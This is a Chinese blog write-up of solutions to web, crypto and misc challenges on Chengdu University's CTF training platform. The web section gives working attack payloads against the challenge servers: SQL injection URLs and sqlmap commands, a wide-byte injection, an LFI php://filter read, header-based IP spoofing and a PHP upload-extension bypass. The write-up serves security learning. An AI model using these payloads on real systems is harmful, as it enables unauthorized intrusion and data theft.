CTF-成都大学网络攻防演练平台

About CTF&wp

成都大学网络攻防平台

这是跟几个老哥一起刷的,只不过我太菜。一直没时间,今天才决定要把wp写一下。由于太菜,re没有做,回头问问大佬们再写。

成都大学网络攻防平台

WEB

web1

很简单的入门题目,F12修改下html限制就好了。

<input type="text" name="key" maxlength="6">

把maxlength删除了就可以了。

web2

get提提交个数据就好了。

http://ctf.cdusec.org:8082/web2/?cdusec=tql

web3

post提交一个数据。firefox的F12就可以实现,或者你可以选择hackbar。

Three Zero Two

看题目就可以知道,是一个302跳转,点开题目链接进去一看,url为:

http://ctf.cdusec.org:8082/web4/1ndex.php

注意是1ndex.php,而不是index.php。不用墨迹,直接抓包就好了。
image

Where are you from?

进入页面,发现提示,只允许管理员进入。很简单,管理员登陆一般都是在本地进行的,所以直接进行客户端ip伪造就好了。

五种客户端IP伪造方式:

X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

那么接下来就好办了,伪造客户端IP地址。

GET /web5/ HTTP/1.1
Host: ctf.cdusec.org:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

发包直接getflag。

MD5碰撞

题目源码:

<?php 
error_reporting(0); 
include_once('flag.php'); 
highlight_file('index.php');  

$md51 = md5('QNKCDZO'); 
$a = $_GET['b']; 
$md52 = md5($a); 
if(isset($a)){ 
if ($a != 'QNKCDZO' && $md51 == $md52) { 
    echo $flag; 
} else { 
    echo "false!!!"; 
}} 
?>

这个就参考我之前写的那个PHP黑魔法,第一个就是解决这个题目的方法,在里面随便找一组字符串,提交就可以获取flag。这是一个典型的hash比较缺陷题目。

简单的注入

方法一:

sqlmap一把梭

sqlmap -u "http://ctf.cdusec.org:8083/sqli.php?id=1" --dbs

方法二:

联合查询:

http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,2--+

查库

http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,database()--+

查表

http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

懒得查字段名了,直接猜flag

http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,flag%20from%20flag--+

随机数

<?php
echo "PHP 5.4.26";
mt_srand(xxxxxxxx);
# We can't tell you what is xxxxxxxx!
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo "echo flag{".mt_rand()."}"
?>
984489752
619387123
2070958802
2105559368
1909473866
1679323715
1910332168
640569646
1103001695
1871111424
flag

So, Please guess the flag!

先做一个科普:

首先我们要知道,每一次调用mt_rand()函数的时候,都会检查一下系统有没有播种。(播种是由mt_srand()函数完成的),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以前面也说到,同一个种子下随机生成的随机数值是相同的。同时,也解释了我们破解随机种子的可行性。如果每次调用mt_rand()函数都需要生成一个随机种子的话,那根本就没办法破解。

mt_srand()函数播种的时候,只有在第一次调用mt_rand()函数的时候才会使用。所以如果我们知道了第一次生成的随机数值,就可能爆破出随机数种子。

工具

注意,题目中标示了php的版本,注意一定要把版本搞对,不然可能一直都跑不对。

工具自带的README实在是比较难理解,推荐看这个php_mt_seed。把题目给的生成的一组随机数的第一个数用作爆破。

./php_mt_seed 984489752

结果为

seed = 12345679
seed = 1039460795

再模仿一个php的脚本

<?php
$seed = xxxx;
mt_srand($seed);
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo "echo flag{".mt_rand()."}"
?>

把上面的两组seed值带入,跑两次,得出两组flag:

flag{2003170939}
flag{1014721809}

接下来,提交两次,就可以知道哪个为正确的flag

LFI

很常见的一个文件包含漏洞,没啥技术含量。可以参考我之前写的文件包含漏洞

http://ctf.cdusec.org:8085/index.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

然后进行base64解密就好了。

php反序列化

这个题目根本就是个误导,虽然有serialize函数,但问题根本就不是这里,问题的根本是base64填充。直接上脚本:

import requests as req

data = {
    "id": ' '*100+'cdusec-ctflag???'
}
res = req.post("http://ctf.cdusec.org:8082/web7/index.php", data=data)
if res.status_code == 200:
    print(res.content)

更简单的注入

方法一:

sqlmap一把梭:

sqlmap -u "http://ctf.cdusec.org:8084/sqli.php?id=1" --dbs

方法二:

盲注,结合上面的简单的注入,加上猜解判断即可。(PS:实际上我是sqlmap一把梭)

有趣的注入

访问http://ctf.cdusec.org:8086/sqli.php?id=1,查看源代码,发现

<meta charset="gbk" />

这就好办了,典型的宽字节注入,详情查看我的博客的宽字节注入

方法一:bash

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=-1%df'" --dbs

方法二:

手动宽字节注入:

一样的流程,只不过跟简单的注入相比,多了一个%df而已。直接上最终的payload:

http://ctf.cdusec.org:8086/sqli.php?id=-1%df%27%20union%20select%201,2,flag%20from%20flag--+

upload

进入页面,发现需要进行登陆,但是并不知道密码,一开始猜测可能是暴力破解弱口令,但是看了一下请求包发现,就在请求包里
image

拿到了密码,直接复制登陆,进入到上传页面。
随便上传一个png文件,显示成功。但是上传php文件的时候,开始拒绝。

You cannot upload files of this type!

然后尝试修改后缀php3,然后发现直接成功了。。。。
image

关于文件上传部分知识点,在我博客文件上传中有介绍。

这个注入有点难?

没做出来。。。。。。

Crypto

Crypto_签到

直接就有flag。。。

凯撒大帝降临

直接进行凯撒位移就行。

fuck!这是什么鬼

js-fuck编码,直接在控制台运行就可以了。

不一样的morse

上网址摩斯密码解密

你熟悉键盘吗?

题目:

4eszrfvd ygvhnji 76tyujnb 7412 4eszrfvd

你可以按照顺序,在键盘上画一画,答案就出来了,加上flag就行。

flag{ANgLA}

啊啊啊蕾蕾姐被表白了

题目:

33532141437432217493

重点:手机短信、内容长度是偶数、数字的第二位都在1~4之间
image

可以看下这个图,123456789对应的9个键。把题目给的一串数字两两一组划分开:

33 53 21 41 43 74 32 21 74 93

按照手机的9键输入一一对应:

f l a g i s e a s y

加上flag{}就是最终答案了。

奇怪的字符串

题目:

NYYNNYYN NYYNYYNN NYYNNNNY NYYNNYYY NYYYYNYY NYYNYNYY NNYYNNYY NYYYYNNY NYNYYYYY NYYNYNNY NNYYNYNY NYNYYYYY NYYNYNNN NYYNNYNY NYNYNNYN NYYNNYNY NYYYYYNY

这里我给出两个单词,这个题目就一目了然了。

NO YES

而NO跟YES在计算机的世界里又代表0跟1。这个题目就可以转化为:

01100110 01101100 01100001 01100111 01111011 01101011 00110011 01111001 01011111 01101001 00110101 01011111 01101000 01100101
01010010 01100101 01111101

二进制转字符串(注意:空格是需要去掉的):

flag{k3y_i5_heRe}

the other base’s member

题目:

2ZarhfbBYwrHU7FRGN2YLbqgcCW7giT6KZx8KhF3NV2

看起来是个base加密,嗯,它还就是个base加密……

base64解密失败,base32解密失败,base16解密失败……

再去看题目,the other base’s member,其他的base方式,我就去试了试base58,成功。

base58解密:

flag{B4Se_f4mi1y_v3Ry_BBBBBBig}

easy_base_family

就是一个超级大的base全家桶,我第一次写的脚本比较笨,不建议采纳,可以用try函数进行改进,先po上我的脚本,欢迎大家给我提建议。

import base64
with open('base_family.txt','r+') as f:
    text = f.read()
    text = base64.b16decode(text)
    text = base64.b64decode(text)
    text = base64.b32decode(text)
    text = base64.b16decode(text)
    text = base64.b16decode(text)
    text = base64.b32decode(text)
    text = base64.b16decode(text)
    text = base64.b64decode(text)
    text = base64.b64decode(text)
    text = base64.b32decode(text)
    text = base64.b64decode(text)
    text = base64.b16decode(text)
    text = base64.b32decode(text)
    text = base64.b32decode(text)
    text = base64.b32decode(text)
    text = base64.b64decode(text)
    text = base64.b16decode(text)
    text = base64.b32decode(text)
    text = base64.b16decode(text)
    text = base64.b64decode(text)
    text = base64.b64decode(text)
    text = base64.b16decode(text)
    text = base64.b16decode(text)
    text = base64.b16decode(text)
    #text = text.decode('utf-8')
    print(text)

蕾蕾姐的id

题目主要内容就是进行md5爆破了,不废话了,上脚本:

import hashlib
str="qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM0987654321"
for a in str:
    for b in str:
        for c in str:
            for d in str:
                ming=a+b+c+d
                ming=bytes(ming,encoding='utf-8')
                m=hashlib.md5()
                m.update(ming)
                if(m.hexdigest()[2:5]=='fdc') and (m.hexdigest()[29:32]=='41d'):
                    print(ming)
                    print(m.hexdigest())

棋局

题目:

546865206c656e677468206f662074686520666c6167277320636f6e74656e743a203130

密文:rquutrqqrtulrutuuurr

看题目提示就知道是一个棋盘密码。。。
直接找了个脚本在跑:

import itertools
key = []
cipher = "rquutrqqrtulrutuuurr"

for i in itertools.permutations('rqutl',5):
    key.append(''.join(i))

for now_key in key:
    solve_c = ""
    res = ""
    for now_c in cipher:
        solve_c += str(now_key.index(now_c))
    for i in range(0,len(solve_c),2):
        now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
        if now_ascii>ord('i'):
            now_ascii+=1
        res += chr(now_ascii)
    if "flag" in res:
        print(now_key,res)

MISC

Easy_misc3

题目: What is the docx?

这里科普一个知识点,docx,其本质就是一个压缩包。所以你把下载下来的docx文件改为zip,就可以看到里面的flag.txt了。

Esay_misc2

题目:xor

图片异或题目,使用神器Stegsolve进行xor异或就行了。
图片懒得截了。语言描述一波……

使用工具打开图片后,然后转到alpha plane0通道,点file菜单,点击save as保存为bmp格式,然后同理把blue,red,green的0通道分别保存为bmp格式。

保存完后打开保存的alpha的bmp图片,然后点击菜单栏的analyse,点击image combiner打开另外一种颜色的0通道保存的图片,进行两张图片异或对比,flag就出来了

catch

题目:ping

科普:ping使用的是ICMP协议。

使用wireshark打开,过滤ICMP,看看数据包的内容,找data数据就可以了。

你倒是先解压啊

建议使用360压缩,绕过所有伪加密。。。

docx文件,还是一个压缩包,进去慢慢找一找,会有一个flag的图片的。

misc4

巅峰极客大赛真题。

推荐郁师傅的博客

一直刷新

图片隐写,使用F5刷新工具即可

工具

flag{F5_f5_F5_Ez!!!}

RE

RE有老哥给过我wp,但是由于水平不够,RE实在是不会,于是乎就先不写了。

小结

成都大学的平台还是不错的,不少的脑洞题目,比较有感觉。继续肝newbugku了,写的差不多了,再出wp。(PS:最近图床换了,所以很不稳定,各种懒,各种不截图,将就看吧,膜各位大佬)


Previous
小结 小结
心路历程接触安全也有一年多了,今天听了亮神的讲解,颇有感概,所以记录一下。 接触这一年多以来,除了会点web安全以外,我还是个菜鸡,根本不知道以后的安全之路要怎么走,能怎么走。从一开始的热情满满,到现在逐渐失去了以往的那些热情,甚至于迷茫
2019-03-23
Next
CTF-某次公安内网比赛 CTF-某次公安内网比赛
About CTF&wp CTF比赛纪实其实就是某次公安内网比赛的代打记录,由于题目实在是太骚了,所以就做个记录。仿射密码题目: 仿射密码: ugxjnhisjrzwvrkizgptpj b=23 不多bb了,直接上解题网址:
2018-12-25
TOC